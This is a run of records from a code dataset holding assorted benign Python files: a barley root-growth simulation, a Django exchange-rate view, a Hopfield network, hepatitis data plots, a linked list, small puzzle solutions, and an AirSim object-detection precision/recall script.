1.61, 1.61, 1.61, 1.61, 1.61, 1.61, 1.61, 1.61, 1.61, \\\n      1.61, 1.61, 1.61, 1.61, 1.61]\n\nbulk_density[:,:, zi_list[0]:] = 1.30                                  # bulk density on the surface of the soil outside the slit\ncount = 0\nfor i in BD:\n    bulk_density[:,:, zi_list[count+1]:zi_list[count]] = i\n    count+=1                   \n\n# # slit only                                                          # definition of slit position 30 cm horizontally \nxi1 = int(185/((y_right-y_left) / horizontal_grid_num))  \t\t\t   # -15 cm\nxi2 = int(215/((y_right-y_left) / horizontal_grid_num))  \t\t\t   # 15 cm\n\nprint(\"x indices\", xi1, xi2)\n\n# bulk densities in the slit\nBD_slit = [1.20, 1.20, 1.20, 1.20, 1.32, 1.32, 1.33, 1.33, \\\n            1.47, 1.47, 1.59, 1.59, 1.58, 1.58, 1.55, 1.55, 1.55, \\\n            1.55, 1.58, 1.58, 1.58, 1.58, 1.58, 1.58, 1.58, \\\n            1.58, 1.58, 1.58, 1.58, 1.58, 1.58, 1.58, 1.58, 1.58, \\\n            1.58, 1.58, 1.58, 1.58, 1.58]\n\nbulk_density[xi1:xi2,:, zi_list[0]:] = 1.20                             # bulk density on the surface of the soil in the slit\ncount = 0\nfor j in BD_slit:\n    bulk_density[xi1:xi2,:, zi_list[count+1]:zi_list[count]] = j\n    count+=1\n\n# Scaling function using elongation rates from Morandage et al.\na=2.52244967; b=9.477859748; c=9.058277729; \nscales = a*bulk_density**2 - b*bulk_density + c \t\t\t\t\t    \nscale_elongation.data = scales.flatten('F')  \t\t\t\t\t\t    # set proportionality factor\n\n\n\n# vizualise scalar grid\nX = np.linspace(y_left, y_right, horizontal_grid_num)\nY = np.linspace(-distp_row, +distp_row, y_distance)\nZ = np.linspace(z_bot, z_top, num_layers)\n# gridToVTK(\"results/bulk_density\", X, Y, Z, pointData={\"bulk_density\": bulk_density, \"scales \": scales.reshape(horizontal_grid_num, y_distance, num_layers)})               # \"scales \": scales.reshape(m, m2, n)})\n\n# Make a root length distribution along the soil profile wall\n# Initializes N*M root systems\nallRS = []\nfor i in range(0, N):\n    for j in range(0, M):\n        rs = pb.RootSystem()                                                     # create root system\n        rs.readParameters(path + name + \".xml\")                                  # open plant and root parameter file\n        for p in rs.getRootRandomParameter():  \t\t\t\t\t\t\t\t     # set scale elongation function for all root types\n            p.f_se = scale_elongation          \n        rs.getRootSystemParameter().seedPos = pb.Vector3d(left + distr * (i + 0.5), -distp / 2 * M + distp * (j + 0.5), -3.)  # cm\n        \n        # Create and set geometry\n        box = pb.SDF_PlantBox (1000, 1000, 1000)\n        rs.setGeometry(box)\n        rs.initialize(False)\n        allRS.append(rs)\n \n\n# Simulate\ntime = 0\ndt = 1                                                                                  # day\nwhile time < simtime:                                                                   # in the future coupling with dynamic water movement \n    print(\"day\", time)\n    \n    # update scales (from soil density)\n    scales = a*bulk_density**2 - b*bulk_density + c\t\t\t\t\t\t\t            \n    scale_elongation.data = scales.flatten('F')\n        \n    for rs in allRS:\n        rs.simulate(dt)\n    time += dt\n\n\n# Export results as single vtp files (as polylines)\nana = pb.SegmentAnalyser()                                                              \nfor z, rs in enumerate(allRS):\n    # vtpname = \"results/plantsb\" + str(z) + \".vtp\"\n    # rs.write(vtpname)\n    ana.addSegments(rs)  \t\t\t\t\t\t\t\t\t\t\t                    # collect all\n\n# Write all into single file (segments)\nana.write(\"results/plantsb_allDL.vtp\")\n\n# Set periodic domain\nana.mapPeriodic(distTr, distTp)     \nana.pack()                      \nana.write(\"results/plantsb_periodicDL.vtp\")\n\n# vp.plot_roots(ana, \"length\", \"length (c)\")\n\nrl_ = []\nfor j in range(len(times)):\n    # print(\"creating rld for time\", times[j])\n    ana.filter(\"creationTime\", 0, times[j])                                  # filter root length by times in descending order\n    rld = ana.distribution2(\"length\", top, bot, left, right, n, m, False)    # 2D distribution of root length\n    rl_.append(rld)\n\n# reverse root length of the order shooting (45, 46) and flowering (71, 72, 73)   \nrl_.reverse()                                                          \n# root length density\nrld_ = np.array(rl_) / soilVolume\n# reshape simulated RLD to 2D array\nrld_simDL = rld_.reshape(-1, rld_.shape[2])                            # reshaping the RLD into 2D\n# save simulated RLD as a text file\nnp.savetxt(\"sim_data_DL.txt\", np.round(rld_simDL, decimals=4), fmt='%.4f', delimiter=',')\n\n\n# Shooting\n\ndata_shooting1 = rld_simDL[:20, 30:50] \t\t\t\t\t\t\t        # day 45 during vegetation period                                      \n     \ndata_shooting2 = rld_simDL[20:40, 30:50]  \t\t\t\t\t\t\t\t# day 46 during vegetation period\n\n\n# Flowering\n\ndata_flowering1 = rld_simDL[40:60, 30:50]  \t\t\t\t\t\t\t\t# day 71 during vegetation period\n   \ndata_flowering2 = rld_simDL[60:80, 30:50]  \t\t\t\t\t\t\t\t# day 73 during vegetation period\n     \ndata_flowering3 = rld_simDL[80:100, 30:50]  \t\t\t\t\t\t\t# day 74 during vegetation period\n\n# definition of contour lines in 2D\nx = np.linspace(0, 95, 20)  \t\t\t\t\t\t\t\t\t        # x features along distance of the row\ny = np.linspace(-2.5, -97.5, 20)  \t\t\t\t\t\t\t\t\t    # y features\nlevels = np.linspace(0, 4, 21)                                          # number and positions of contour lines/regions\nX, Y = np.meshgrid(x, y)                                                # height values over which the contour is drawn\n\n\n# Plot during shooting\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(20, 5))\nfig.suptitle(\"RLD During Plant Shooting\", fontsize=16, y=1.07)\n\nfig12 = ax1.contourf(X, Y, data_shooting1, cmap='YlGnBu', levels=levels)\nax1.set_xlabel(\"Distance of the row [cm]\", fontsize=15, labelpad=15)\nax1.set_ylabel(\"Depth [cm]\", fontsize=15)\nax1.xaxis.tick_top()\nax1.xaxis.set_label_position(\"top\")\ncbar = fig.colorbar(fig12, ax=ax1)\n\nfig13 = ax2.contourf(X, Y, data_shooting2, cmap='YlGnBu', levels=levels)\nax2.set_xlabel(\"Distance of the row [cm]\", fontsize=15, labelpad=15)\nax2.xaxis.tick_top()\nax2.xaxis.set_label_position(\"top\")\ncbar = fig.colorbar(fig13, ax=ax2)\ncbar.ax.set_ylabel(\"Root Length Density [cm cm$^-$$^3$]\", fontsize=15, labelpad=15)\n\n# plt.savefig(\"RLD during shooting DL.png\")\nplt.show()\n\n# Plot during flowering\nfig2, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(20, 5))\nfig2.suptitle(\"RLD During Plant Flowering\", fontsize=16, y=1.07)\n\nfig21 = ax1.contourf(X, Y, data_flowering1, cmap='YlGnBu', levels=levels)\nax1.set_xlabel(\"Distance of the row [cm]\", fontsize=15, labelpad=15)\nax1.set_ylabel(\"Depth [cm]\", fontsize=15)\nax1.xaxis.tick_top()\nax1.xaxis.set_label_position(\"top\")\ncbar1 = fig2.colorbar(fig21, ax=ax1)\n\nfig22 = ax2.contourf(X, Y, data_flowering2, cmap='YlGnBu', levels=levels)\nax2.set_xlabel(\"Distance of the row [cm]\", fontsize=15, labelpad=15)\nax2.xaxis.tick_top()\nax2.xaxis.set_label_position(\"top\")\ncbar1 = fig2.colorbar(fig22, ax=ax2)\n\nfig23 = ax3.contourf(X, Y, data_flowering3, cmap='YlGnBu', levels=levels)\nax3.set_xlabel(\"Distance of the row [cm]\", fontsize=15, labelpad=15)\nax3.xaxis.tick_top()\nax3.xaxis.set_label_position(\"top\")\ncbar1 = fig2.colorbar(fig23, ax=ax3)\ncbar1.ax.set_ylabel(\"Root Length Density [cm cm$^-$$^3$]\", fontsize=15, labelpad=15)\n\n# plt.savefig(\"RLD during flowering DL.png\")\nplt.show()\n\n","repo_name":"FedoAIworld/Parameterization-of-Root-Soil-Interaction-Models-using-Experimental-Data","sub_path":"springbarley_rootsimDL.py","file_name":"springbarley_rootsimDL.py","file_ext":"py","file_size_in_byte":10806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7544088865","text":"from django.views import View\nfrom django.http import JsonResponse\nimport json\nfrom .models import Rate\n\nclass RateAPIView(View):\n    def get(self, request, dt):\n        items_count = Rate.objects.count()\n        items = Rate.objects.filter(data=dt)\n\n        items_data = []\n        \n        items_data.append({\n            \"EUR\": items.filter(nome=\"euro\").get().cotacao,\n            \"BRL\": items.filter(nome=\"real\").get().cotacao,\n            \"JPY\": items.filter(nome=\"iene\").get().cotacao\n        })\n\n        cotacoes = {\n            'data': dt,\n            'base': 'USD',\n            'rates': items_data\n        }\n\n        return JsonResponse(cotacoes)","repo_name":"RodGama/HighchartsDjangoTest","sub_path":"cotacao/api_views.py","file_name":"api_views.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14391505479","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nclass Hopfield: \n    \n    def __init__(self, stored_patterns):\n        self.stored_patterns = np.array(stored_patterns) #[ [ 1,2,3,... 25], [1,2 ..., 25], ... 4 letters ]\n        self.pattern_dimension = len(stored_patterns[0])\n \n        self.w = np.dot(self.stored_patterns.T, self.stored_patterns) / self.pattern_dimension\n        np.fill_diagonal(self.w, 0)\n        \n    def train(self,unknown_pattern,max_iterations):\n        states = np.array(unknown_pattern)\n        pretty_print(states,5)\n        prev_states = np.zeros((25,), dtype=int)\n        energies = []\n        energies.append(self.energy_function(states))\n        print(f\"Energy: {energies[-1]}\")\n        # Iterate until a steady state is reached\n        i = 0\n        while i < max_iterations and not np.array_equal(states, prev_states):\n            \n            prev_states = states\n            states = self.activations(states)\n            energies.append(self.energy_function(states))\n            pretty_print(states,5) \n            print(f\"Energy: {energies[-1]}\")\n            print(f\"Steady State: {np.array_equal(states, prev_states)}\")\n            i += 1\n        \n        plt.plot([i for i in range(len(energies))],energies)\n        plt.ylabel('Energy level')\n        plt.xlabel('Iterations')\n        # found pattern \n        for stored in self.stored_patterns:\n            if np.array_equal(states, stored):\n                return (True,states)    # associated pattern \n        return (False,states)           # spurious state  \n\n    def activations(self, states):\n        \n        ret = []\n        for i in range(self.pattern_dimension):\n            excited_state = np.inner(self.w[i], states)   #s[i] = w[i][j] * s[j]\n       \n            if( excited_state != 0): \n                # print(f\"was: {states[i]}, is: {self.step(excited_state)}\")\n                ret.append(self.step(excited_state))\n            else: \n                ret.append(states[i]) # if h = 0 previous state \n        return np.array(ret)\n\n    def step(self,n):\n        if(n > 0): \n            return 1\n        elif n < 0: \n            return -1\n        \n    def energy_function(self, states):\n        h = 0\n        for i in range(self.pattern_dimension):\n            for j in range(i+1,self.pattern_dimension):\n                h += self.w[i][j] * states[i] * states[j]\n        return -h\n         \n\ndef run_hopfield(stored_patterns, unknown_pattern,max_iterations): \n    hopfield = Hopfield(stored_patterns)\n    found, pattern = hopfield.train(unknown_pattern,max_iterations) \n    if found: \n        print(f\"Pattern was found:\\n{pattern}\")\n        # return found,stored_patterns.index(pattern.tolist())\n    else:\n        print(f\"Pattern NOT found, final pattern:\\n{pattern}\")\n    # return found,-1\n    plt.show()\n    \n    \ndef pretty_print(pattern,length):\n    print(f\"Current state: {pattern}\")\n    mat = pattern.reshape(length,length)\n    # print(mat)\n    fmt = \"\".join([\"{}\" for i in range(length)])\n    def pattern_mapper(x):\n        if(x == 1):\n            return \"*\"\n        return \" \"\n    print(\"-------------------------------\\n\")\n    for i in range(length):\n        print(fmt.format(*list(map(lambda x: pattern_mapper(x),mat[i]))))","repo_name":"scottlin19/TP4-SIA","sub_path":"hopfield.py","file_name":"hopfield.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74147686727","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\nCAMINHO_DATASET = 'hepatitis.data'\nCAMINHO_DATASET_CLEAR = 'hepatitisClear.data'\nNAMES = ['CLASS','AGE','SEX','STEROID','ANTIVIRALS','FATIGUE','MALAISE','ANOREXIA',\n        'LIVER BIG','LIVER FIRM','SPLEEN PALPABLE','SPIDERS','ASCITES','VARICES','BILIRUBIN',\n        'ALK PHOSPHATE','SGOT','ALBUMIN','PROTIME','HISTOLOGY'] \n        \nFEATURES = ['AGE','SEX','STEROID','ANTIVIRALS','FATIGUE','MALAISE','ANOREXIA',\n        'LIVER BIG','LIVER FIRM','SPLEEN PALPABLE','SPIDERS','ASCITES','VARICES','BILIRUBIN',\n        'ALK PHOSPHATE','SGOT','ALBUMIN','PROTIME','HISTOLOGY']\n\ndf = pd.read_csv(CAMINHO_DATASET,   # Nome do arquivo com dados\n                names = NAMES,      # Nome das colunas \n                usecols = FEATURES, # Define as colunas que serão  utilizadas\n                na_values='?')      # Define que ? será considerado valores ausentes\n\ndef bilirubinAnalysis():\n  bilirubin_y = [0, 0, 0,0 ,0 ]\n  bilirubin_x = ['0.3 - 1.84', '1.85 - 3.38', '3.39 - 4.92', '4.93 - 6.46', '6.46 - 8.0']\n\n\n  for c in df['BILIRUBIN']:\n\n    if c > 0.3 and c <= 1.84:\n      bilirubin_y[0] = bilirubin_y[0] + 1\n\n    if c > 1.84 and c <= 3.38:\n      bilirubin_y[1] = bilirubin_y[1] + 1\n\n    elif c > 3.38 and c <= 4.92:\n      bilirubin_y[2] = bilirubin_y[2] + 1\n\n    elif c > 4.92 and c <= 6.64:\n      bilirubin_y[3] = bilirubin_y[3] + 1\n\n    elif c > 6.64 and c <= 8:\n      bilirubin_y[4] = bilirubin_y[4] + 1\n  plt.figure(figsize=(8,5))\n\n  plt.xlabel('BILIRUBIN')\n  plt.ylabel('Quantidade de amostras')\n\n\n  plt.bar(bilirubin_x, bilirubin_y)\n  plt.show()\n\ndef alkPhosphateAnalysis():\n\n  alk_y = [0, 0, 0,0 ,0 ]\n  alk_x = ['26 - 106.2', '106.3 - 153.4', '153.5 - 200.6', '200.7 - 247.8', '247.8 - 295']\n\n\n  for c in df['ALK PHOSPHATE']:\n\n    if c > 26 and c <= 106.2:\n      alk_y[0] = alk_y[0] + 1\n\n    if c > 106.2 and c <= 153.4:\n      alk_y[1] = alk_y[1] + 1\n\n    elif c > 153.4 and c <= 200.6:\n      alk_y[2] = alk_y[2] + 1\n\n    elif c > 200.6 and c <= 247.8:\n      alk_y[3] = alk_y[3] + 1\n\n    elif c > 247.8 and c <= 295:\n      alk_y[4] = alk_y[4] + 1\n\n  plt.figure(figsize=(8,5))\n\n  plt.xlabel('ALK PHOSPHATE')\n  plt.ylabel('Quantidade de amostras')\n\n  plt.bar(alk_x, alk_y)\n  plt.show() \n\ndef sgotAnalysis():\n  sgot_y = [0, 0, 0,0 ,0 ]\n  sgot_x = ['14 - 140.8', '140.9 - 267.6', '267.7 - 394.4', '394.5 - 521.2', '521.3 - 648']\n\n\n  for c in df['SGOT']:\n\n    if c > 14 and c <= 140.8:\n      sgot_y[0] = sgot_y[0] + 1\n\n    if c > 140.8 and c <= 267.6:\n      sgot_y[1] = sgot_y[1] + 1\n\n    elif c > 267.6 and c <= 394.4:\n      sgot_y[2] = sgot_y[2] + 1\n\n    elif c > 394.4 and c <= 521.2:\n      sgot_y[3] = sgot_y[3] + 1\n\n    elif c > 521.2 and c <= 648:\n      sgot_y[4] = sgot_y[4] + 1\n\n  plt.figure(figsize=(8,5))\n\n  plt.xlabel('SGOT')\n  plt.ylabel('Quantidade de amostras')\n\n\n  plt.bar(sgot_x, sgot_y)\n  plt.show()\n\ndef albominAnalysis():\n  albomin_y = [0, 0, 0,0 ,0 ]\n  albomin_x = ['2.1 - 2.96', '2.97 - 3.82', '3.83 - 4.68', '4.69 - 5.54', '5.55 - 6.4']\n\n\n  for c in df['ALBUMIN']:\n\n    if c > 2.1 and c <= 2.96:\n      albomin_y[0] = albomin_y[0] + 1\n\n    if c > 2.96 and c <= 3.82:\n      albomin_y[1] = albomin_y[1] + 1\n\n    elif c > 3.82 and c <= 4.68:\n      albomin_y[2] = albomin_y[2] + 1\n\n    elif c > 4.68 and c <= 5.54:\n      albomin_y[3] = albomin_y[3] + 1\n\n    elif c > 5.54 and c <= 6.4:\n      albomin_y[4] = albomin_y[4] + 1\n\n  plt.figure(figsize=(8,5))\n\n  plt.xlabel('ALBUMIN')\n  plt.ylabel('Quantidade de amostras')\n\n\n  plt.bar(albomin_x, albomin_y)\n  plt.show()\n\ndef protimeAnalysis():\n  protime_y = [0, 0, 0,0 ,0 ]\n  protime_x = ['0 - 20', '20 - 40', '40 - 60', '60 - 80', '80 - 100']\n\n\n  for c in df['PROTIME']:\n\n    if c > 0 and c <= 20:\n      protime_y[0] = protime_y[0] + 1\n\n    if c > 20 and c <= 40:\n      protime_y[1] = protime_y[1] + 1\n\n    elif c > 40 and c <= 60:\n      protime_y[2] = protime_y[2] + 1\n\n    elif c > 60 and c <= 80:\n      protime_y[3] = protime_y[3] + 1\n\n    elif c > 80 and c <= 100:\n      protime_y[4] = protime_y[4] + 1\n\n  plt.figure(figsize=(8,5))\n\n  plt.xlabel('PROTIME')\n  plt.ylabel('Quantidade de amostras')\n\n\n  plt.bar(protime_x, protime_y)\n  plt.show()\n\n################### IDADE #####################\ndef age():\n  df = pd.read_csv(CAMINHO_DATASET_CLEAR, names = NAMES)\n  # df = df.apply(lambda x: pd.factorize(x, sort=True)[0])\n  age_y = [0, 0, 0, 0, 0]\n  age_x = ['7 - 14', '15 - 30', '31 - 45', '46 - 60', '61 - 78']\n  for c in df['AGE']:\n\n    if c > 7 and c <= 14:\n      age_y[0] = age_y[0] + 1\n\n    if c > 14 and c <= 30:\n      age_y[1] = age_y[1] + 1\n\n    elif c > 30 and c <= 45:\n      age_y[2] = age_y[2] + 1\n\n    elif c > 45 and c <= 60:\n      age_y[3] = age_y[3] + 1\n\n    elif c > 60 and c <= 78:\n      age_y[4] = age_y[4] + 1\n  plt.subplots(figsize=(9, 9))\n  plt.pie(age_y,labels=age_x)\n  plt.xlabel('IDADE')\n  plt.show()\n\n################### IDADE X CLASSE #####################\ndef ageXclass():\n  df=pd.read_csv(CAMINHO_DATASET_CLEAR,names=NAMES)\n  plt.subplots(figsize=(10, 5))\n  plt.scatter(df['CLASS'],df['AGE'])\n  plt.xlabel('CLASS')\n  plt.ylabel('AGE')\n\n################### ALBUMINA X CLASSE #####################\ndef albuminXclass():\n  df=pd.read_csv(CAMINHO_DATASET_CLEAR,names=NAMES)\n  plt.subplots(figsize=(10, 5))\n  plt.scatter(df['CLASS'],df['ALBUMIN'])\n  plt.xlabel('CLASS')\n  plt.ylabel('ALBUMIN')\n\n  age()\n  ageXclass()\n  albuminXclass()\n  \ndef main():\n\n  \n  bilirubinAnalysis()\n  alkPhosphateAnalysis()\n  sgotAnalysis()\n  albominAnalysis()\n  protimeAnalysis()\n  \nif __name__ == \"__main__\":\n  main()\n","repo_name":"lucasBritoo/Hepatitis","sub_path":"frequencyDistribuition.py","file_name":"frequencyDistribuition.py","file_ext":"py","file_size_in_byte":5537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26809336337","text":"from typing import Optional\n\nfrom linked_list import LinkedList, Node, run_test\n\n\nclass SinglyLinkedList(LinkedList):\n    @property\n    def tail(self) -> Node:\n        if not self.head:\n            return None\n\n        current_node = self.head\n        while current_node.next is not None:\n            current_node = current_node.next\n        return current_node\n\n    @tail.setter\n    def tail(self, value) -> Node:\n        pass\n\n    def _get_the_previous_node_of(self, node: Node) -> Optional[Node]:\n        if not self.head:\n            return None\n\n        current_node = self.head\n        while current_node.next is not None:\n            if current_node.next == node:\n                return current_node\n            current_node = current_node.next\n\n        return None\n\n    def add_at_head(self, node: Node) -> None:\n        node.next = self.head\n        self.head = node\n        self.length += 1\n\n    def add_at_tail(self, node: Node) -> None:\n        if not self.head:\n            return self.add_at_head(node)\n\n        self.tail.next = node\n        self.length += 1\n\n    def insert_before(self, node: Node, node_to_insert: Node) -> None:\n        if node == self.head:\n            return self.add_at_head(node_to_insert)\n\n        if not self.is_node_in_list(node):\n            raise Exception(\"Invalid node\")\n\n        previous_node = self._get_the_previous_node_of(node)\n\n        node_to_insert.next = previous_node.next\n        previous_node.next = node_to_insert\n        self.length += 1\n\n    def insert_after(self, node: Node, node_to_insert: Node) -> None:\n        if not self.is_node_in_list(node):\n            raise Exception(\"Invalid node\")\n\n        node_to_insert.next = node.next\n        node.next = node_to_insert\n        self.length += 1\n\n    def delete_head(self) -> None:\n        if not self.head:\n            return None\n\n        self.head = self.head.next\n        self.length -= 1\n\n    def delete_tail(self) -> None:\n        if not self.head.next:\n            return self.delete_head()\n\n        second_to_last_node = self._get_the_previous_node_of(self.tail)\n        second_to_last_node.next = None\n        self.length -= 1\n\n    def delete_node(self, node: Node) -> None:\n        if node == self.head:\n            return self.delete_head()\n\n        if not self.is_node_in_list(node):\n            raise Exception(\"Invalid node\")\n\n        previous_node = self._get_the_previous_node_of(node)\n        previous_node.next = node.next\n        self.length -= 1\n\n    def reverse_list(self):\n        prev_node = None\n        current_node = self.head\n        next_node = current_node.next\n\n        while current_node is not None:\n            # Reverse the order\n            current_node.next = prev_node\n\n            # Move the cursor\n            prev_node = current_node\n            current_node = next_node\n\n            if current_node is None:\n                self.head = prev_node\n            else:\n                next_node = next_node.next\n\n\nif __name__ == \"__main__\":\n    run_test(SinglyLinkedList)\n","repo_name":"duongleh/data-structures-and-algorithms","sub_path":"Linked List/singly_linked_list.py","file_name":"singly_linked_list.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30791663358","text":"#!/usr/bin/env python3\n\n\ndef gcd(a: int, b: int) -> int:\n    while b != 0:\n        a, b = b, a % b\n    return a\n\n\nn = int(input())\nar = []\nfor i in range(n):\n    ar.append(list(map(int, input().split())))\n\nans = 0\nfor i in range(n):\n    x1, y1 = ar[i]\n    if i == n-1:\n        x2, y2 = ar[0]\n    else:\n        x2, y2 = ar[i+1]\n    x_diff = abs(max(x1, x2) - min(x1, x2))\n    y_diff = abs(max(y1, y2) - min(y1, y2))\n    ans += gcd(x_diff, y_diff)\n\nprint(ans)\n\n","repo_name":"Bytamine/ff-olymp","sub_path":"15 euclids algorithm, gcd/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8941299167","text":"#!/usr/bin/python\n\ninputNum = 289326\n\ndef left(x, y): return (x - 1, y)\ndef right(x, y): return (x + 1, y)\ndef up(x, y): return (x, y + 1)\ndef down(x, y): return (x, y - 1)\n\ndef nextXY(x, y):\n    \"\"\"\n    Returns the coordinates of the next cell in the spiral.  The point (x, y)\n    is considered to be on the perimeter of a square centered at (0, 0).  We\n    get to the next cell by traveling counterclockwise on that perimeter.\n    \"\"\"\n    \n    # Special case: the origin.\n    if (x, y) == (0, 0): return (1, 0)\n\n    # Special case: a corner.\n    if abs(x) == abs(y):\n        if y > 0:\n            if x > 0: return left(x, y)  # Top right.\n            else: return down(x, y)  # Top left.\n        else: return right(x, y)  # Bottom two corners.\n\n    # Remaining cases.  Ironically, they are \"edge\" (of the square)\n    # cases but not edge cases. :)\n    if x > 0 and abs(y) < x: return up(x, y)  # Right edge.\n    if y > 0 and abs(x) < y: return left(x, y)  # Top edge.\n    if x < 0 and abs(y) < abs(x): return down(x, y)  # Left edge.\n    if y < 0 and abs(x) < abs(y): return right(x, y)  # Bottom edge.\n\ndef solve1():\n    (x, y) = (0, 0)\n    value = 1\n    while True:\n        (x, y) = nextXY(x, y)\n        value += 1\n        if value == inputNum:\n            print(abs(x) + abs(y))  # Manhattan distance.\n            return\n\ndef solve2():\n    grid = {}  # Maps (x, y) tuple to integer cell value.\n    \n    def cellValue(x, y):\n        total = 0\n        for dx in (-1, 0, 1):\n            for dy in (-1, 0, 1):\n                if (dx, dy) == (0, 0): continue\n                neighborValue = grid.get((x + dx, y + dy))\n                if neighborValue: total += neighborValue\n        return total\n    \n    (x, y) = (0, 0)\n    value = 1\n    grid[(x, y)] = value\n    while True:\n        (x, y) = nextXY(x, y)\n        value = cellValue(x, y)\n        grid[(x, y)] = value\n        if value > inputNum:\n            print(value)\n            return\n\nsolve1()\nsolve2()\n\n","repo_name":"aglee/AdventOfCode2017","sub_path":"Day 03 - Spiral Memory/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"12307132175","text":"# All positions of monitors\ngt_monitor_positions = [\n[12.3, -4.64, 0.05],\n[12.35, -3.22, 0.05],\n[12.29, 5.45, 0.05],\n[12.3, 3.88, 0.05],\n[12.3, 2.44, 0.05],\n[12.7, -3.01, 0.05],\n[12.67, -4.47, 0.05],\n[12.7, 2.65, 0.05],\n[12.7, 4.1, 0.05],\n[12.7, 5.55, 0.05],\n[18.44, -4.64, 0.05],\n[18.45, -3.22, 0.05],\n[18.43, 5.45, 0.05],\n[18.44, 3.88, 0.05],\n[18.44, 2.44, 0.05],\n[18.84, -3.01, 0.05],\n[18.81, -4.47, 0.05],\n[18.84, 2.65, 0.05],\n[18.84, 4.1, 0.05],\n[18.84, 5.55, 0.05],\n[6.42, -4.64, 0.05],\n[6.42, -3.22, 0.05],\n[6.42, 5.45, 0.05],\n[6.42, 3.88, 0.05],\n[6.42, 2.44, 0.05],\n[6.82, -3.01, 0.05],\n[6.79, -4.47, 0.05],\n[6.82, 2.65, 0.05],\n[6.82, 4.1, 0.05],\n[6.82, 5.55, 0.05],\n[0.47, -4.64, 0.05],\n[0.47, -3.22, 0.05],\n[0.47, 5.45, 0.05],\n[0.47, 3.88, 0.05],\n[0.47, 2.44, 0.05],\n[0.87, -3.01, 0.05],\n[0.87, -4.47, 0.05],\n[0.87, 2.65, 0.05],\n[0.87, 4.1, 0.05],\n[0.87, 5.55, 0.05]\n]\n\ndef precision_recall(object_positions, gt_monitor_positions, scale):\n    \"\"\"\n    Calculates the precision and recall based on detected object positions. Scale of map is used as threshold when\n    determining if a detected object is a true or false positive.\n    :param object_positions: Positions of detected objects\n    :param gt_monitor_positions: Ground truth positions of the objects.\n    :param scale: Scale in x,y,z of the voxel map used in the exploration env.\n    :return: precision, recall, position of true positives and position of false positives\n    \"\"\"\n    x_scale = scale[0]\n    y_scale = scale[1]\n    z_scale = scale[2]\n    # Calculate precision\n    n_true_positive = 0\n    n_false_positive = 0\n    true_positive_pos = []\n    false_positive_pos = []\n    for pos in object_positions:\n        correct_pos = False\n        for i, gt_pos in enumerate(gt_monitor_positions):\n            if abs(pos[0] - gt_pos[0]) < (x_scale) and \\\n                    abs(pos[1] - gt_pos[1]) < (y_scale) and \\\n                    abs(pos[2] - gt_pos[2]) < (z_scale):\n                correct_pos = True\n                n_true_positive += 1\n                break\n        if not correct_pos:\n            n_false_positive += 1\n            false_positive_pos.append(pos)\n        else:\n            true_positive_pos.append(pos)\n\n    precision = n_true_positive / len(object_positions)\n\n    n_recalled = 0\n    for gt_pos in gt_monitor_positions:\n        for pos in object_positions:\n            if abs(pos[0] - gt_pos[0]) < (x_scale) and \\\n                    abs(pos[1] - gt_pos[1]) < (y_scale) and \\\n                    abs(pos[2] - gt_pos[2]) < (z_scale):\n                n_recalled += 1\n                break\n\n    recall = n_recalled / len(gt_monitor_positions)\n\n    print(\"n true postive {}\".format(n_true_positive))\n    print(\"n false positive {}\".format(n_false_positive))\n    print(\"n monitors found {}\".format(n_recalled))\n    print(\"Precision {}, recall {}\".format(precision, recall))\n    print(\"All positions of objects detected\")\n    print(object_positions)\n\n    return precision, recall, true_positive_pos, false_positive_pos\n\n\nif __name__ == '__main__':\n    import numpy as np\n    from Environments.Exploration.map_env import make, AirSimMapEnv\n    import json\n    import argparse\n    import os\n\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--parameters', type=str)\n    parser.add_argument('--save_dir', type=str)\n    args = parser.parse_args()\n    with open(args.parameters) as f:\n        parameters = json.load(f)\n\n    kwargs = parameters[\"Exploration\"]\n    m = AirSimMapEnv(**kwargs, **parameters)\n    x_scale = kwargs['cell_scale'][0]\n    y_scale = kwargs['cell_scale'][1]\n    z_scale = kwargs['cell_scale'][2]\n\n    obs = m.reset()\n\n    # Make the moves\n    waypoints = [\n    np.array([-0.5, -3.5]),\n    np.array([4, -3.5]),\n    np.array([10, -3.5]),\n    np.array([15, -3.5]),\n    np.array([20.5, -3.5]),\n    np.array([15, -3.5]),\n    np.array([10, -3.5]),\n    np.array([-0.5, -3.5]),\n    np.array([-0.5, 4.0]),\n    np.array([4.5, 4.0]),\n    np.array([10.5, 4.0]),\n    np.array([20, 4.0]),\n    np.array([10, 4.0]),\n    np.array([5, 4.0]),\n    np.array([-0.5, 4.5]),\n    ]\n\n    for goal in waypoints:\n        print(\"Goal: {}\".format(goal))\n        not_reached = True\n        pos = m.env_airsim.get_position()\n        delta =  np.array([goal[0]-pos[0], goal[1]-pos[1]])\n        while not_reached:\n            try:\n                obs, reward, done, info = m.step(delta)\n            except Exception as e:\n                print(e)\n                break\n            pos = m.env_airsim.get_position()\n            delta = np.array([goal[0]-pos[0], goal[1]-pos[1]])\n            if np.sqrt(delta[0]**2 + delta[1]**2) < 0.5:\n                not_reached = False\n            else:\n                print(\"trgt not reached, tries again!\")\n                print(pos)\n\n\n    map = m._get_map(local=False, binary=False)\n    # Extract objects\n    obj_map = map == m.tokens['object']\n    obj_cells = np.argwhere(obj_map)\n    object_positions = []\n    for cell in obj_cells:\n        object_positions.append(m._get_position(cell))\n\n    # Extract obstacles\n    obs_map = map == m.tokens['obstacle']\n    obs_cells = np.argwhere(obs_map)\n    obstacle_positions = []\n    for cell in obs_cells:\n         obstacle_positions.append(m._get_position(cell))\n\n    